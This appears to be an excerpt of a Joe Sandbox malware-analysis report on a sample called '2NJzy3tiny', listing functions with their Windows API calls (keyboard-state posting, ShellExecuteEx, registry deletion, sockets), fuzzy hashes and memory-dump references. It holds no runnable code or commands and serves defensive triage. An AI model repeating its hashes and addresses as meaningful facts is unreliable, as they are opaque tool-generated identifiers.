Instruction ID: deaf93168baf9fc4c5abcc2c971b3d822c3d35d6cdb76ee7a3b701c5ae158eb5
Opcode Fuzzy Hash: 13024b98f0a76aa7aa29ca9e3fdd7f4bde9fc442aeecd21214f53b7bb40f1a7a
Instruction Fuzzy Hash: 7F012CF690020CBFE751A7A09E89EEA766CDB08300F4045A9BB49E2451EA745E868B70

Function 0011D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

GetSystemMetrics.USER32(0000000F), ref: 0011D47C
GetSystemMetrics.USER32(0000000F), ref: 0011D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0011D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0011D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0011D716
ShowWindow.USER32(00000003,00000000), ref: 0011D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0011D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0011D77D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: f3d0aa5dffbf5fa564877309c8ca187d4f720e0a6e565e6389524ad66eb2643f
Instruction ID: 364622440a790a364c2ea5a4c22a0c45c011c326328fcff0158e6bb0b4bf6644
Opcode Fuzzy Hash: f3d0aa5dffbf5fa564877309c8ca187d4f720e0a6e565e6389524ad66eb2643f
Instruction Fuzzy Hash: 13B18971600225EBDF18CF68D9857ED7BB2BF04705F098179EC489F699DB34A990CB90

Function 00092A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,000CC1C7,00000004,00000000,00000000,00000000), ref: 00092ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,000CC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00092B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,000CC1C7,00000004,00000000,00000000,00000000), ref: 000CC21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,000CC1C7,00000004,00000000,00000000,00000000), ref: 000CC286

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 54e84bf8c136a1d5bbfb751f1411b281705b3eb6fbdfe2d2518f793b84c52954
Instruction ID: ea10526b3b391d5f6adf0780d9fe80ebfa4069e7557f168e8f0288791de2ea37
Opcode Fuzzy Hash: 54e84bf8c136a1d5bbfb751f1411b281705b3eb6fbdfe2d2518f793b84c52954
Instruction Fuzzy Hash: F241D932608680FBDF798B29CD8CFAF7BD2AB55310F15881DE04786961C7719886F712

Function 000F70C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 000F70DD

Part of subcall function 000B0DB6: std::exception::exception.LIBCMT ref: 000B0DEC
Part of subcall function 000B0DB6: __CxxThrowException@8.LIBCMT ref: 000B0E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 000F7114
EnterCriticalSection.KERNEL32(?), ref: 000F7130
_memmove.LIBCMT ref: 000F717E
_memmove.LIBCMT ref: 000F719B
LeaveCriticalSection.KERNEL32(?), ref: 000F71AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 000F71BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 000F71DE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 1a5df512c4a4ce235efc0115c04e9d46e26e607a338c2e66ccf7633e5ecf7ed8
Instruction ID: 4054551eb017242089ff83dba9807c81a6ff6b3b94540c4e046577a7c424e7b7
Opcode Fuzzy Hash: 1a5df512c4a4ce235efc0115c04e9d46e26e607a338c2e66ccf7633e5ecf7ed8
Instruction Fuzzy Hash: 00316D31A00205EBCB00DFA4DD85AEFB7B8FF45310F1481B9E904AB256DB30DA55DBA1

Function 001161D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 001161EB
GetDC.USER32(00000000), ref: 001161F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001161FE
ReleaseDC.USER32(00000000,00000000), ref: 0011620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00116246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00116257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0011902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00116291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 001162B1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 40eee7f547770f7477cb297f15c51fa596c229db179baa69ca44cb45eaad710d
Instruction ID: 7e19bfe92c373399ce7c62310d5dc79501837e559d90347bf69067ff5871a7b4
Opcode Fuzzy Hash: 40eee7f547770f7477cb297f15c51fa596c229db179baa69ca44cb45eaad710d
Instruction Fuzzy Hash: 2D317F76101210BFEF158F50DD8AFEA3BA9EF49765F044065FE089A191D7759C82CB60

Function 000EBBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 000EBBC4
_memcmp.LIBCMT ref: 000EBBE6
_memcmp.LIBCMT ref: 000EBBFE
_memcmp.LIBCMT ref: 000EBC11
_memcmp.LIBCMT ref: 000EBC2B
_memcmp.LIBCMT ref: 000EBC3E
_memcmp.LIBCMT ref: 000EBC56
_memcmp.LIBCMT ref: 000EBC71

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 7ac1336e634332132d8325c736fcc9ad341849a0e0faa016d109f26bbf1f9271
Instruction ID: 7eb1a66b19738230f5e4d01e366cf7bf0bd8a9dc215a544edc8ac28dbe08e0b6
Opcode Fuzzy Hash: 7ac1336e634332132d8325c736fcc9ad341849a0e0faa016d109f26bbf1f9271
Instruction Fuzzy Hash: 7421F07170525A7FE2146622AD62FFF739CAF10388F184420FE04B6647EBB4DE2182A1

Function 000FEB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

Part of subcall function 000AFC86: _wcscpy.LIBCMT ref: 000AFCA9

_wcstok.LIBCMT ref: 000FEC94
_wcscpy.LIBCMT ref: 000FED23
_memset.LIBCMT ref: 000FED56

Strings

X, xrefs: 000FED93

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 8a5513fc4400d184d59cbc4e10a9ebeebe863cbdd5f63f35e102975fbac5717a
Instruction ID: 4f625bac6b13fc434bc1c72bcd598ba7ff7242f7022195776b8d9e09683cbf0f
Opcode Fuzzy Hash: 8a5513fc4400d184d59cbc4e10a9ebeebe863cbdd5f63f35e102975fbac5717a
Instruction Fuzzy Hash: 99C170715083449FCB64EF24D985AAAB7E4FF85310F00492DF9999B6B2DB30EC45DB82

Function 00106B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?), ref: 00106C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00106C21
WSAGetLastError.WSOCK32(00000000), ref: 00106C34
htons.WSOCK32(?), ref: 00106CEA
inet_ntoa.WSOCK32(?), ref: 00106CA7

Part of subcall function 000EA7E9: _strlen.LIBCMT ref: 000EA7F3
Part of subcall function 000EA7E9: _memmove.LIBCMT ref: 000EA815

_strlen.LIBCMT ref: 00106D44
_memmove.LIBCMT ref: 00106DAD

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 92d0f1f827ece7e8b46fbb0bd7e701fc5a587f3ab165d3f1a1d574fca37d05e4
Instruction ID: 414cf9d10c78ab19e90b31475b820ef5b1f727e65ebe7f796fca2331a32b64ef
Opcode Fuzzy Hash: 92d0f1f827ece7e8b46fbb0bd7e701fc5a587f3ab165d3f1a1d574fca37d05e4
Instruction Fuzzy Hash: 2381B271204200AFDB14EB64CC82EAFB7A8AF95714F14891DF5959B2D2DBB1ED01CB92

Function 00091424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45a98037b0d30954f65a35a8dd79eed48b65c60beed8b460284dbe67d481ff0
Instruction ID: 1cc1c05fc82080867330bf921c478086187b223f569d9888c2408dbe7bba0b39
Opcode Fuzzy Hash: e45a98037b0d30954f65a35a8dd79eed48b65c60beed8b460284dbe67d481ff0
Instruction Fuzzy Hash: 3A714C30A0450AEFCF149F98CC45EFEBBB9FF89314F148159F915AA251C734AA52DB60

Function 0011B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(016A5860), ref: 0011B3EB
IsWindowEnabled.USER32(016A5860), ref: 0011B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0011B4DB
SendMessageW.USER32(016A5860,000000B0,?,?), ref: 0011B512
IsDlgButtonChecked.USER32(?,?), ref: 0011B54F
GetWindowLongW.USER32(016A5860,000000EC), ref: 0011B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0011B589

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: ae8740250b21bbe0502a1971c33ba8fe6ef8c1fe7d34cff1f5c8b793431c39f5
Instruction ID: 2ce3aa46c1f0a314d0bb4e713155f72988e30074807c1b8675de30bba2cdf771
Opcode Fuzzy Hash: ae8740250b21bbe0502a1971c33ba8fe6ef8c1fe7d34cff1f5c8b793431c39f5
Instruction Fuzzy Hash: 9F71BF34608204EFDB289F55C9D4FFA7BB6FF09310F148069FA56976A2C731A891DB50

Function 0010F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0010F448
_memset.LIBCMT ref: 0010F511
ShellExecuteExW.SHELL32(?), ref: 0010F556

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

Part of subcall function 000AFC86: _wcscpy.LIBCMT ref: 000AFCA9

GetProcessId.KERNEL32(00000000), ref: 0010F5CD
CloseHandle.KERNEL32(00000000), ref: 0010F5FC

Strings

@, xrefs: 0010F525

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 833e5760888ceb9576b27800db8068110d675d6b664617aaba34b1787478cb18
Instruction ID: 563bd5943ba2b2a25ea6d03576952bc549e9448d995088aa6218e84512fcfaa3
Opcode Fuzzy Hash: 833e5760888ceb9576b27800db8068110d675d6b664617aaba34b1787478cb18
Instruction Fuzzy Hash: 0F61AE75A006199FCF14DFA8C8969EEB7B5FF49310F10806DE855AB792DB30AD42CB90

Function 000F0F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000F0F8C
GetKeyboardState.USER32(?), ref: 000F0FA1
SetKeyboardState.USER32(?), ref: 000F1002
PostMessageW.USER32(?,00000101,00000010,?), ref: 000F1030
PostMessageW.USER32(?,00000101,00000011,?), ref: 000F104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 000F1095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 000F10B8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 7953b9d00fd4354997edb3c9baee77d4ae24d7cc8ad10193c85b68b644874b86
Instruction ID: c45b4787f7a3f26328707e056ce6c7627199d35078623997e40efd1dbe57149d
Opcode Fuzzy Hash: 7953b9d00fd4354997edb3c9baee77d4ae24d7cc8ad10193c85b68b644874b86
Instruction Fuzzy Hash: 8D51F0B06047D9BDFB7642348C05BFABEE96B06304F088589E2D586CD3C6D9ACD8E751

Function 000F0D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 000F0DA5
GetKeyboardState.USER32(?), ref: 000F0DBA
SetKeyboardState.USER32(?), ref: 000F0E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 000F0E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 000F0E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 000F0EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 000F0EC9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: b621a8f8f8ef5bdfaf5088ed81c4fd362a01815d705598e7fbe80498c2cbbe6e
Instruction ID: db49689f682d2c1880e4ef229484c142c12929c51c16aa628bec9f3cb584363d
Opcode Fuzzy Hash: b621a8f8f8ef5bdfaf5088ed81c4fd362a01815d705598e7fbe80498c2cbbe6e
Instruction Fuzzy Hash: 4251E4A06447D97DFB7683748C45BBABFE96B06300F088889E2D446CC3D395AC98F750

Function 000F55FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 000F560A
_wcsncpy.LIBCMT ref: 000F563F
_wcsncpy.LIBCMT ref: 000F5671
_wcsncpy.LIBCMT ref: 000F56A4
_wcsncpy.LIBCMT ref: 000F56E6
_wcsncpy.LIBCMT ref: 000F5720
_wcsncpy.LIBCMT ref: 000F574F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: cec9694bbc21db7e7d2c298e5b450510bcc3ce4dc4e1984cabc20e2cea93f3b5
Instruction ID: 7217f0d998031bfe8fbdff9f1e136a63473c0742f0a85331e5f7c97ed748e091
Opcode Fuzzy Hash: cec9694bbc21db7e7d2c298e5b450510bcc3ce4dc4e1984cabc20e2cea93f3b5
Instruction Fuzzy Hash: F741A465C1061876CB11FBB49C8A9DFB7B89F04311F508966E618E3222FB34E355C7EA

Function 000F3671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000F466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,000F3697,?), ref: 000F468B

Part of subcall function 000F466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,000F3697,?), ref: 000F46A4

lstrcmpiW.KERNEL32(?,?), ref: 000F36B7
_wcscmp.LIBCMT ref: 000F36D3
MoveFileW.KERNEL32(?,?), ref: 000F36EB
_wcscat.LIBCMT ref: 000F3733
SHFileOperationW.SHELL32(?), ref: 000F379F

Strings

\*.*, xrefs: 000F372D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 7342aff388d57fa067f1015a9fb75099a4f39ec3882c35e84c495529ea6dfbaa
Instruction ID: 1196025d14680883d502318ec05209bc26140c22828035ea7560ef1358982ab0
Opcode Fuzzy Hash: 7342aff388d57fa067f1015a9fb75099a4f39ec3882c35e84c495529ea6dfbaa
Instruction Fuzzy Hash: 7F41A071108348AEC762EF64D4419EFB7E8EF88390F00492EB59AC3652EB34D689D752

Function 00117291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001172AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00117351
IsMenu.USER32(?), ref: 00117369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001173B1
DrawMenuBar.USER32 ref: 001173C4

Strings

0, xrefs: 0011729E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 2335cdb48c96795c328a1d35b2a93f35f2767d693bace5cb2cd4bf6117e26649
Instruction ID: c37c34ddc610c62ee7c2a57637e04ea91d4dc76cace37a8beb43a63bcc53b328
Opcode Fuzzy Hash: 2335cdb48c96795c328a1d35b2a93f35f2767d693bace5cb2cd4bf6117e26649
Instruction Fuzzy Hash: 89411575A14208EFDB24DF51D984ADABBB9FB08350F14852AFD25AB390D730AD90DF60

Function 00110FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00110FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00110FFE
FreeLibrary.KERNEL32(00000000), ref: 001110B5

Part of subcall function 00110FA5: RegCloseKey.ADVAPI32(?), ref: 0011101B
Part of subcall function 00110FA5: FreeLibrary.KERNEL32(?), ref: 0011106D
Part of subcall function 00110FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00111090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00111058

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 5bc1ca17dbf3f88b0e3b357a24297e80a33e272d1e873b51d3581d26d319906c
Instruction ID: d73c3def756d1220f43446de9a8468fa6a82efec3b5ded0bfcd15ab012b1abd7
Opcode Fuzzy Hash: 5bc1ca17dbf3f88b0e3b357a24297e80a33e272d1e873b51d3581d26d319906c
Instruction Fuzzy Hash: F531EA71D01109BFDB29DF90DD89AFEB7BCEB08300F004179F605A2151EB749EC69AA0

